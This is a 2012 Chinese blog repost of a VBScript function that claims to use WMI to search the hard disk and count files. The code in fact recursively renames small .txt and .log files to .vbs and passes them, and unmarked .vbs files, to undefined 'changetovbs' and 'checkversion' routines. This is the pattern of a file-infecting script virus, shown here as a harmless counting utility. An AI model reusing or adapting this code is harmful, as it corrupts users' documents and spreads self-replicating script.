Demon's Blog » 复制粘贴 » VBS调用WMI遍历搜索硬盘文件并计数

VBS调用WMI遍历搜索硬盘文件并计数

标题: VBS调用WMI遍历搜索硬盘文件并计数
作者: Demon
链接: https://demon.tw/copy-paste/vbs-wmi-count-file.html
版权: 本博客的所有文章，都遵守“署名-非商业性使用-相同方式共享 2.5 中国大陆”协议条款。

多年之前写的一个VBS调用WMI来遍历搜索硬盘文件，并计数的函数，今天整理网盘，看到了，发上来。

Function wmisfile(path_sf,justcnt)
    'On Error Resume Next
    StrComputer = "."
    Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
    Set FileList = objWMIService.ExecQuery _
    ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
     & "ResultClass = CIM_DataFile")
    For Each objFile In FileList
        fname = LCase(objfile.name)
        ename = LCase(objfile.extension)
        If 1 < objfile.filesize And objfile.filesize <= 50000 Then
            Select Case ename
                Case "txt","log"
                path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
                objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
                Call changetovbs(path_vbs,path_vbs)
                justcnt = justcnt + 1
                Case "vbs"
                If checkversion(fname) = False Then
                    Call changetovbs(fname,fname)
                    justcnt = justcnt + 1
                End If
            End Select
        End If
    Next
    Set colSubfolders = objWMIService.ExecQuery _
    ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
     & "Where AssocClass = Win32_Subdirectory " _
     & "ResultRole = PartComponent")
    For Each objFolder In colSubfolders
        wmisfile objfolder.name,justcnt
    Next
End Function

原文链接：http://think2think.cn/archives/19/

赞赏

微信赞赏支付宝赞赏

随机文章:

这篇文章发布于 2012年02月14日，星期二，16:26，归类于复制粘贴。您可以跟踪这篇文章的评论通过 RSS 2.0 feed。您可以留下评论，或者从您的站点trackback。

VBS调用WMI遍历搜索硬盘文件并计数

留下回复